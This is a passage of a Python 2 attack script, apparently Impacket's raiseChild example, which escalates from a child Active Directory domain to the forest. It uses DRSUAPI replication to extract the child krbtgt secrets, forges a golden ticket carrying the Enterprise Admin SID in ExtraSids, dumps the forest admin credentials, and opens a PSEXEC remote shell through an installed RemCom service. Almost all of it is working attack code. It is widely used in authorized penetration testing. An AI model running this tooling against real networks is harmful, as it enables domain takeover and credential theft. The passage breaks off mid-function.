#!/usr/bin/python2
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
#   This script implements a child-domain to forest privilege escalation
#   as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will
#   be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented
#   by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz).
#   The idea of automating all these tasks came from @mubix.
#
#   The workflow is as follows:
#       Input:
#           1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]'
#              The domain specified MUST be the domain FQDN.
#           2) Optionally a pathname to save the generated golden ticket (-w switch)
#           3) Optionally a target to PSEXEC with Enterprise Admin privieleges to (-target-exec switch)
#
#       Process:
#           1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
#           2) Find out what the forest FQDN is (via [MS-NRPC])
#           3) Get the forest's Enterprise Admin SID (via [MS-LSAT])
#           4) Get the child domain's krbtgt credentials (via [MS-DRSR])
#           5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
#              and setting expiration 10 years from now
#           6) Use the generated ticket to log into the forest and get the krbtgt/admin info
#           7) If file was specified, save the golden ticket in ccache format
#           8) If target was specified, a PSEXEC shell is launched
#
#       Output:
#           1) Forest's krbtgt/admin credentials
#           2) A golden ticket saved in ccache for future fun and profit
#           3) PSExec Shell with Enterprise Admin privileges at target-exec parameter.
#
#   IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the
#                   forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar
#
#   E.G:
#   Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx):
#     A forest is the only component of the Active Directory logical structure that is a security boundary.
#     By contrast, a domain is not a security boundary because it is not possible for administrators from one domain
#     to prevent a malicious administrator from another domain within the forest from accessing data in their domain.
#     A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers.
#     In addition, each domain has its own individual security policies and trust relationships with other domains.
#
#

import random
import string
import logging
import datetime
from binascii import unhexlify, hexlify
from socket import gethostbyname
from struct import unpack
import argparse
import sys
try:
    import pyasn1
except ImportError:
     logging.critical('This module needs pyasn1 installed')
     logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')
     sys.exit(1)
from impacket import version
from impacket.krb5.types import Principal, KerberosTime
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError
from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart
from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype
from impacket.dcerpc.v5.ndr import NDRULONG
from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED
from pyasn1.codec.der import decoder, encoder
from impacket.examples import logger
from impacket.ntlm import LMOWFv1, NTOWFv1
from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER
from impacket.dcerpc.v5.dtypes import ULONG, RPC_SID, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY
from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
from impacket.dcerpc.v5 import transport, drsuapi, epm, samr
from impacket.structure import Structure
from impacket.smbconnection import SessionError
from impacket.nt_errors import STATUS_NO_LOGON_SERVERS

################################################################################
# CONSTANTS
################################################################################
# From http://msdn.microsoft.com/en-us/library/aa302203.aspx#msdn_pac_credentials
# and http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862
PAC_LOGON_INFO       = 1
PAC_CREDENTIALS_INFO = 2
PAC_SERVER_CHECKSUM  = 6
PAC_PRIVSVR_CHECKSUM = 7
PAC_CLIENT_INFO_TYPE = 10
PAC_DELEGATION_INFO  = 11
PAC_UPN_DNS_INFO     = 12

################################################################################
# STRUCTURES
################################################################################

PISID = PRPC_SID

# 2.2.1 KERB_SID_AND_ATTRIBUTES
class KERB_SID_AND_ATTRIBUTES(NDRSTRUCT):
    structure = (
        ('Sid', PISID),
        ('Attributes', ULONG),
    )

class KERB_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray):
    item = KERB_SID_AND_ATTRIBUTES

class PKERB_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER):
    referent = (
        ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),
    )

# 2.2.2 GROUP_MEMBERSHIP
from impacket.dcerpc.v5.nrpc import PGROUP_MEMBERSHIP_ARRAY

# 2.2.3 DOMAIN_GROUP_MEMBERSHIP
class DOMAIN_GROUP_MEMBERSHIP(NDRSTRUCT):
    structure = (
        ('DomainId', PISID),
        ('GroupCount', ULONG),
        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),
    )

class DOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray):
    item = DOMAIN_GROUP_MEMBERSHIP

class PDOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRPOINTER):
    referent = (
        ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),
    )

# 2.3 PACTYPE
class PACTYPE(Structure):
    structure = (
        ('cBuffers', '<L=0'),
        ('Version', '<L=0'),
        ('Buffers', ':'), 
    )

# 2.4 PAC_INFO_BUFFER
class PAC_INFO_BUFFER(Structure):
    structure = (
        ('ulType', '<L=0'),
        ('cbBufferSize', '<L=0'),
        ('Offset', '<Q=0'), 
    )

# 2.5 KERB_VALIDATION_INFO
class KERB_VALIDATION_INFO(NDRSTRUCT):
    structure = (
        ('LogonTime', FILETIME),
        ('LogoffTime', FILETIME),
        ('KickOffTime', FILETIME),
        ('PasswordLastSet', FILETIME),
        ('PasswordCanChange', FILETIME),
        ('PasswordMustChange', FILETIME),
        ('EffectiveName', RPC_UNICODE_STRING),
        ('FullName', RPC_UNICODE_STRING),
        ('LogonScript', RPC_UNICODE_STRING),
        ('ProfilePath', RPC_UNICODE_STRING),
        ('HomeDirectory', RPC_UNICODE_STRING),
        ('HomeDirectoryDrive', RPC_UNICODE_STRING),
        ('LogonCount', USHORT),
        ('BadPasswordCount', USHORT),
        ('UserId', ULONG),
        ('PrimaryGroupId', ULONG),
        ('GroupCount', ULONG),
        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),
        ('UserFlags', ULONG),
        ('UserSessionKey', USER_SESSION_KEY),
        ('LogonServer', RPC_UNICODE_STRING),
        ('LogonDomainName', RPC_UNICODE_STRING),
        ('LogonDomainId', PRPC_SID),

        # Also called Reserved1
        ('LMKey', CHAR_FIXED_8_ARRAY),

        ('UserAccountControl', ULONG),
        ('SubAuthStatus', ULONG),
        ('LastSuccessfulILogon', FILETIME),
        ('LastFailedILogon', FILETIME),
        ('FailedILogonCount', ULONG),
        ('Reserved3', ULONG),

        ('SidCount', ULONG),
        #('ExtraSids', PNETLOGON_SID_AND_ATTRIBUTES_ARRAY),
        ('ExtraSids', PKERB_SID_AND_ATTRIBUTES_ARRAY),
        ('ResourceGroupDomainSid', PISID),
        ('ResourceGroupCount', ULONG),
        ('ResourceGroupIds', PGROUP_MEMBERSHIP_ARRAY),
    )

class PKERB_VALIDATION_INFO(NDRPOINTER):
    referent = (
        ('Data', KERB_VALIDATION_INFO),
    )

# 2.6.1 PAC_CREDENTIAL_INFO
class PAC_CREDENTIAL_INFO(Structure):
    structure = (
        ('Version', '<L=0'),
        ('EncryptionType', '<L=0'),
        ('SerializedData', ':'), 
    )

# 2.6.3 SECPKG_SUPPLEMENTAL_CRED
class SECPKG_SUPPLEMENTAL_CRED(NDRSTRUCT):
    structure = (
        ('PackageName', RPC_UNICODE_STRING),
        ('CredentialSize', ULONG),
        ('Credentials', PUCHAR_ARRAY),
    )

class SECPKG_SUPPLEMENTAL_CRED_ARRAY(NDRUniConformantArray):
    item = SECPKG_SUPPLEMENTAL_CRED

# 2.6.2 PAC_CREDENTIAL_DATA
class PAC_CREDENTIAL_DATA(NDRSTRUCT):
    structure = (
        ('CredentialCount', ULONG),
        ('Credentials', SECPKG_SUPPLEMENTAL_CRED_ARRAY),
    )

# 2.6.4 NTLM_SUPPLEMENTAL_CREDENTIAL
class NTLM_SUPPLEMENTAL_CREDENTIAL(NDRSTRUCT):
    structure = (
        ('Version', ULONG),
        ('Flags', ULONG),
        ('LmPassword', '16s=""'),
        ('NtPassword', '16s=""'),
    )

# 2.7 PAC_CLIENT_INFO
class PAC_CLIENT_INFO(Structure):
    structure = (
        ('ClientId', '<Q=0'),
        ('NameLength', '<H=0'),
        ('_Name', '_-Name', 'self["NameLength"]'), 
        ('Name', ':'), 
    )

# 2.8 PAC_SIGNATURE_DATA
class PAC_SIGNATURE_DATA(Structure):
    structure = (
        ('SignatureType', '<L=0'),
        ('Signature', ':'),
    )

# 2.9 Constrained Delegation Information - S4U_DELEGATION_INFO
class S4U_DELEGATION_INFO(NDRSTRUCT):
    structure = (
        ('S4U2proxyTarget', RPC_UNICODE_STRING),
        ('TransitedListSize', ULONG),
        ('S4UTransitedServices', PRPC_UNICODE_STRING_ARRAY ),
    )

# 2.10 UPN_DNS_INFO
class UPN_DNS_INFO(Structure):
    structure = (
        ('UpnLength', '<H=0'),
        ('UpnOffset', '<H=0'),
        ('DnsDomainNameLength', '<H=0'),
        ('DnsDomainNameOffset', '<H=0'),
        ('Flags', '<L=0'),
    )

# 2.11 PAC_CLIENT_CLAIMS_INFO
class PAC_CLIENT_CLAIMS_INFO(Structure):
    structure = (
        ('Claims', ':'),
    )

# 2.12 PAC_DEVICE_INFO
class PAC_DEVICE_INFO(NDRSTRUCT):
    structure = (
        ('UserId', ULONG),
        ('PrimaryGroupId', ULONG),
        ('AccountDomainId', PISID ),
        ('AccountGroupCount', ULONG ),
        ('AccountGroupIds', PGROUP_MEMBERSHIP_ARRAY ),
        ('SidCount', ULONG ),
        ('ExtraSids', PKERB_SID_AND_ATTRIBUTES_ARRAY ),
        ('DomainGroupCount', ULONG ),
        ('DomainGroup', PDOMAIN_GROUP_MEMBERSHIP_ARRAY ),
    )

# 2.13 PAC_DEVICE_CLAIMS_INFO
class PAC_DEVICE_CLAIMS_INFO(Structure):
    structure = (
        ('Claims', ':'),
    )

class VALIDATION_INFO(TypeSerialization1):
    structure = (
        ('Data', PKERB_VALIDATION_INFO),
    )

################################################################################
# HELPER FUNCTIONS
################################################################################

import os
import cmd
import time
from impacket.smbconnection import SMBConnection, smb
from impacket.structure import Structure
from threading import Thread, Lock
from impacket.examples import remcomsvc, serviceinstall

class RemComMessage(Structure):
    structure = (
        ('Command','4096s=""'),
        ('WorkingDir','260s=""'),
        ('Priority','<L=0x20'),
        ('ProcessID','<L=0x01'),
        ('Machine','260s=""'),
        ('NoWait','<L=0'),
    )

class RemComResponse(Structure):
    structure = (
        ('ErrorCode','<L=0'),
        ('ReturnCode','<L=0'),
    )

RemComSTDOUT         = "RemCom_stdout"
RemComSTDIN          = "RemCom_stdin"
RemComSTDERR         = "RemCom_stderr"

lock = Lock()

class PSEXEC:
    def __init__(self, command, username, domain, smbConnection, TGS, copyFile):
        self.__username = username
        self.__command = command
        self.__path = None
        self.__domain = domain
        self.__exeFile = None
        self.__copyFile = copyFile
        self.__TGS = TGS
        self.__smbConnection = smbConnection

    def run(self, addr):
        rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except Exception, e:
            logging.critical(str(e))
            sys.exit(1)

        global dialect
        dialect = rpctransport.get_smb_connection().getDialect()

        try:
            unInstalled = False
            s = rpctransport.get_smb_connection()

            # We don't wanna deal with timeouts from now on.
            s.setTimeout(100000)
            if self.__exeFile is None:
                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
            else:
                try:
                    f = open(self.__exeFile)
                except Exception, e:
                    logging.critical(str(e))
                    sys.exit(1)
                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
    
            installService.install()

            if self.__exeFile is not None:
                f.close()

            # Check if we need to copy a file for execution
            if self.__copyFile is not None:
                installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
                # And we change the command to be executed to this filename
                self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command

            tid = s.connectTree('IPC$')
            fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f)

            packet = RemComMessage()
            pid = os.getpid()

            packet['Machine'] = ''.join([random.choice(string.letters) for _ in range(4)])
            if self.__path is not None:
                packet['WorkingDir'] = self.__path
            packet['Command'] = self.__command
            packet['ProcessID'] = pid

            s.writeNamedPipe(tid, fid_main, str(packet))

            # Here we'll store the command we type so we don't print it back ;)
            # ( I know.. globals are nasty :P )
            global LastDataSent
            LastDataSent = ''

            # Create the pipes threads
            stdin_pipe = RemoteStdInPipe(rpctransport,
                                         '\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
                                         smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS,
                                         installService.getShare())
            stdin_pipe.start()
            stdout_pipe = RemoteStdOutPipe(rpctransport,
                                           '\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
                                           smb.FILE_READ_DATA)
            stdout_pipe.start()
            stderr_pipe = RemoteStdErrPipe(rpctransport,
                                           '\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
                                           smb.FILE_READ_DATA)
            stderr_pipe.start()
            
            # And we stay here till the end
            ans = s.readNamedPipe(tid,fid_main,8)

            if len(ans):
                retCode = RemComResponse(ans)
                logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
                self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
            installService.uninstall()
            if self.__copyFile is not None:
                # We copied a file for execution, let's remove it
                s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
            unInstalled = True
            sys.exit(retCode['ErrorCode'])

        except SystemExit:
            raise
        except:
            if unInstalled is False:
                installService.uninstall()
                if self.__copyFile is not None:
                    s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
            sys.stdout.flush()
            sys.exit(1)

    def openPipe(self, s, tid, pipe, accessMask):
        pipeReady = False
        tries = 50
        while pipeReady is False and tries > 0:
            try:
                s.waitNamedPipe(tid,pipe)
                pipeReady = True
            except:
                tries -= 1
                time.sleep(2)
                pass

        if tries == 0:
            logging.critical('Pipe not ready, aborting')
            raise

        fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)

        return fid

class Pipes(Thread):
    def __init__(self, transport, pipe, permissions, TGS=None, share=None):
        Thread.__init__(self)
        self.server = 0
        self.transport = transport
        self.credentials = transport.get_credentials()
        self.tid = 0
        self.fid = 0
        self.share = share
        self.port = transport.get_dport()
        self.pipe = pipe
        self.permissions = permissions
        self.TGS = TGS
        self.daemon = True

    def connectPipe(self):
        try:
            lock.acquire()
            global dialect
            self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
                                        sess_port=self.port, preferredDialect=dialect)
            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
            self.server.login(user, passwd, domain, lm, nt)
            lock.release()
            self.tid = self.server.connectTree('IPC$') 

            self.server.waitNamedPipe(self.tid, self.pipe)
            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
            self.server.setTimeout(1000000)
        except Exception, e:
            logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)

class RemoteStdOutPipe(Pipes):
    def __init__(self, transport, pipe, permisssions):
        Pipes.__init__(self, transport, pipe, permisssions)

    def run(self):
        self.connectPipe()
        while True:
            try:
                ans = self.server.readFile(self.tid,self.fid, 0, 1024)
            except:
                pass
            else:
                try:
                    global LastDataSent
                    if ans != LastDataSent:
                        sys.stdout.write(ans)
                        sys.stdout.flush()
                    else:
                        # Don't echo what I sent, and clear it up
                        LastDataSent = ''
                    # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
                    # it will give false positives tho.. we should find a better way to handle this.
                    if LastDataSent > 10:
                        LastDataSent = ''
                except:
                    pass

class RemoteStdErrPipe(Pipes):
    def __init__(self, transport, pipe, permisssions):
        Pipes.__init__(self, transport, pipe, permisssions)

    def run(self):
        self.connectPipe()
        while True:
            try:
                ans = self.server.readFile(self.tid,self.fid, 0, 1024)
            except:
                pass
            else:
                try:
                    sys.stderr.write(str(ans))
                    sys.stderr.flush()
                except:
                    pass

class RemoteShell(cmd.Cmd):
    def __init__(self, server, port, credentials, tid, fid, TGS, share):
        cmd.Cmd.__init__(self, False)
        self.prompt = '\x08'
        self.server = server
        self.transferClient = None
        self.tid = tid
        self.fid = fid
        self.credentials = credentials
        self.share = share
        self.port = port
        self.TGS = TGS
        self.intro = '[!] Press help for extra shell commands'

    def connect_transferClient(self):
        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
                                            preferredDialect=dialect)
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)

    def do_help(self, line):
        print """
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd
""" % (self.share, self.share)
        self.send_data('\r\n', False)

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')

    def do_get(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()

            import ntpath
            filename = ntpath.basename(src_path)
            fh = open(filename,'wb')
            logging.info("Downloading %s\%s" % (self.share, src_path))
            self.transferClient.getFile(self.share, src_path, fh.write)
            fh.close()
        except Exception, e:
            logging.error(str(e))
            pass

        self.send_data('\r\n')
 
    def do_put(self, s):
        try:
            if self.transferClient is None:
                self.connect_transferClient()
            params = s.split(' ')
            if len(params) > 1:
                src_path = params[0]
                dst_path = params[1]
            elif len(params) == 1:
                src_path = params[0]
                dst_path = '/'

            src_file = os.path.basename(src_path)
            fh = open(src_path, 'rb')
            f = dst_path + '/' + src_file
            pathname = string.replace(f,'/','\\')
            logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path))
            self.transferClient.putFile(self.share, pathname, fh.read)
            fh.close()
        except Exception, e:
            logging.error(str(e))
            pass

        self.send_data('\r\n')


    def do_lcd(self, s):
        if s == '':
            print os.getcwd()
        else:
            try:
                os.chdir(s)
            except Exception, e:
                logging.error(str(e))
        self.send_data('\r\n')

    def emptyline(self):
        self.send_data('\r\n')
        return

    def default(self, line):
        self.send_data(line+'\r\n')

    def send_data(self, data, hideOutput = True):
        if hideOutput is True:
            global LastDataSent
            LastDataSent = data
        else:
            LastDataSent = ''
        self.server.writeFile(self.tid, self.fid, data)

class RemoteStdInPipe(Pipes):
    def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
        Pipes.__init__(self, transport, pipe, permisssions, TGS, share)

    def run(self):
        self.connectPipe()
        shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
        shell.cmdloop()

class RAISECHILD:
    def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''):
        self.__rid = 0
        self.__target = target
        self.__kdcHost = None
        self.__command = command
        self.__writeTGT = options.w
        self.__domainSid = ''
        self.__doKerberos = options.k
        self.__drsr = None
        self.__ppartialAttrSet = None
        self.__creds = {}

        self.__creds['username'] = username
        self.__creds['password'] = password
        self.__creds['domain'] = domain
        self.__creds['lmhash'] = ''
        self.__creds['nthash'] = ''
        self.__creds['aesKey'] = options.aesKey
        self.__creds['TGT'] =  None
        self.__creds['TGS'] =  None

        #if options.dc_ip is not None:
        #    self.__kdcHost = options.dc_ip
        #else:
        #    self.__kdcHost = domain
        self.__kdcHost = None

        if options.hashes is not None:
            lmhash, nthash = options.hashes.split(':')
            self.__creds['lmhash'] = unhexlify(lmhash)
            self.__creds['nthash'] = unhexlify(nthash)

        # Transform IP addresses into FQDNs
        if self.__target is not None:
            self.__target = self.getDNSMachineName(self.__target)
            logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target))

    NAME_TO_ATTRTYP = {
        'objectSid': 0x90092,
        'userPrincipalName': 0x90290,
        'sAMAccountName': 0x900DD,
        'unicodePwd': 0x9005A,
        'dBCSPwd': 0x90037,
        'supplementalCredentials': 0x9007D,
    }

    ATTRTYP_TO_ATTID = {
        'objectSid': '1.2.840.113556.1.4.146',
        'userPrincipalName': '1.2.840.113556.1.4.656',
        'sAMAccountName': '1.2.840.113556.1.4.221',
        'unicodePwd': '1.2.840.113556.1.4.90',
        'dBCSPwd': '1.2.840.113556.1.4.55',
        'supplementalCredentials': '1.2.840.113556.1.4.125',
    }

    KERBEROS_TYPE = {
        1:'dec-cbc-crc',
        3:'des-cbc-md5',
        17:'aes128-cts-hmac-sha1-96',
        18:'aes256-cts-hmac-sha1-96',
        0xffffff74:'rc4_hmac',
    }

    HMAC_SHA1_96_AES256 = 0x10

    def getChildInfo(self, creds):
        logging.debug('Calling NRPC DsrGetDcNameEx()')
        target = creds['domain']
        if self.__doKerberos is True:
            # In Kerberos we need the target's name
            machineNameOrIp = self.getDNSMachineName(gethostbyname(target))
            logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp))
        else:
            machineNameOrIp = target

        stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % machineNameOrIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
                                         creds['nthash'], creds['aesKey'])
            if self.__doKerberos or creds['aesKey'] is not None:
                rpctransport.set_kerberos(True)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(MSRPC_UUID_NRPC)

        resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
        #resp.dump()
        return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1]

    @staticmethod
    def getMachineName(machineIP):
        s = SMBConnection(machineIP, machineIP)
        try:
            s.login('','')
        except Exception, e:
            logging.debug('Error while anonymous logging into %s' % machineIP)

        s.logoff()
        return s.getServerName()

    @staticmethod
    def getDNSMachineName(machineIP):
        s = SMBConnection(machineIP, machineIP)
        try:
            s.login('','')
        except Exception, e:
            logging.debug('Error while anonymous logging into %s' % machineIP)

        s.logoff()
        return s.getServerName() + '.' + s.getServerDNSDomainName()

    def getParentSidAndAdminName(self, parentDC, creds):
        if self.__doKerberos is True:
            # In Kerberos we need the target's name
            machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC))
            logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp))
        else:
            machineNameOrIp = gethostbyname(parentDC)

        logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
        stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % machineNameOrIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
                                         creds['nthash'], creds['aesKey'])
            rpctransport.set_kerberos(self.__doKerberos)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(MSRPC_UUID_LSAT)

        resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
        policyHandle = resp['PolicyHandle']

        resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)

        domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()

        # Now that we have the Sid, let's get the Administrator's account name
        sids = list()
        sids.append(domainSid+'-500')
        resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta)
        adminName = resp['TranslatedNames']['Names'][0]['Name']

        return domainSid, adminName

    def __connectDrds(self, domainName, creds):
        if self.__doKerberos is True or creds['TGT'] is not None:
            # In Kerberos we need the target's name
            machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName))
            logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp))
        else:
            machineNameOrIp = gethostbyname(domainName)
        stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI,
                                     protocol='ncacn_ip_tcp')
        rpc = transport.DCERPCTransportFactory(stringBinding)
        if hasattr(rpc, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            if creds['TGT'] is not None:
                rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT'])
                rpc.set_kerberos(True)
            else:
                rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
                                    creds['nthash'], creds['aesKey'])
                rpc.set_kerberos(self.__doKerberos)
        self.__drsr = rpc.get_dce_rpc()
        self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        if self.__doKerberos or creds['TGT'] is not None:
            self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
        self.__drsr.connect()
        self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)

        request = drsuapi.DRSBind()
        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
        drs = drsuapi.DRS_EXTENSIONS_INT()
        drs['cb'] = len(drs) #- 4
        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\
                         drsuapi.DRS_EXT_STRONG_ENCRYPTION
        drs['SiteObjGuid'] = drsuapi.NULLGUID
        drs['Pid'] = 0
        drs['dwReplEpoch'] = 0
        drs['dwFlagsExt'] = 0
        drs['ConfigObjGUID'] = drsuapi.NULLGUID
        drs['dwExtCaps'] = 127
        request['pextClient']['cb'] = len(drs)
        request['pextClient']['rgb'] = list(str(drs))
        resp = self.__drsr.request(request)

        # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
        # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
        drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()

        # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
        ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * (
        len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
        drsExtensionsInt.fromString(ppextServer)

        if drsExtensionsInt['dwReplEpoch'] != 0:
            # Different epoch, we have to call DRSBind again
            if logging.getLogger().level == logging.DEBUG:
                logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
                    'dwReplEpoch'])
            drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
            request['pextClient']['cb'] = len(drs)
            request['pextClient']['rgb'] = list(str(drs))
            resp = self.__drsr.request(request)

        self.__hDrs = resp['phDrs']

        # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
        resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2)

        if resp['pmsgOut']['V2']['cItems'] > 0:
            self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
        else:
            logging.error("Couldn't get DC info for domain %s" % domainName)
            raise Exception('Fatal, aborting')

    def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
                      formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None):
        if self.__drsr is None:
            self.__connectDrds(target, creds)

        resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
        return resp

    def __decryptSupplementalInfo(self, record, prefixTable=None):
        # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
        plainText = None
        for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
            try:
                attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
                LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
            except Exception, e:
                logging.debug('Failed to execute OidFromAttid with error %s' % e)
                # Fallbacking to fixed table and hope for the best
                attId = attr['attrTyp']
                LOOKUP_TABLE = self.NAME_TO_ATTRTYP

            if attId == LOOKUP_TABLE['supplementalCredentials']:
                if attr['AttrVal']['valCount'] > 0:
                    blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
                    plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob)
                    if len(plainText) < 24:
                        plainText = None

        if plainText:
            try:
                userProperties = samr.USER_PROPERTIES(plainText)
            except:
